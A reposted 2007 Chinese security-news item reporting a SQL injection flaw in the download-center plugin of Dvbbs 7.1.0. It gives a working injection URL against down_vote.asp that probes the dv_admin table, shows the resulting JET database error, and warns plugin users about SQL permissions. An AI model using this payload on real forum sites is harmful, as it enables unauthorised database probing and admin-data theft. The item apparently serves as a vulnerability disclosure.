 |
Dvbbs7.1.0下载中心插件存在注入 |
|
|
| Dvbbs7.1.0下载中心插件存在注入 |
|
| 作者：佚名 文章来源：不详 点击数： 更新时间：2007-1-25 11:55:32 |
|
http://bbs.xxx.com/down_vote.asp?id=57%20or%200<>(select%20count(*)%20from%20dv_admin)
返回信息:
Microsoft JET Database Engine 错误 ’80040e37’
Microsoft Jet 数据库引擎找不到输入表或查询 ’dv_admin’。 确定它是否存在，以及它的名称的拼写是否正确。
/down_vote.asp，行 57
PS:有用下载插件的小心点 SQL的权限设置喔【转自世纪安全网 http://www.21safe.com】
|
|
| 文章录入：admin 责任编辑：admin |
|
|
上一篇文章： Microsoft IE脚本引擎溢出漏洞
下一篇文章： MvBlog脚本插入及SQL注入漏洞 |
|
|
| 【字体：小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
 网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！） |
|
|
|
|
|
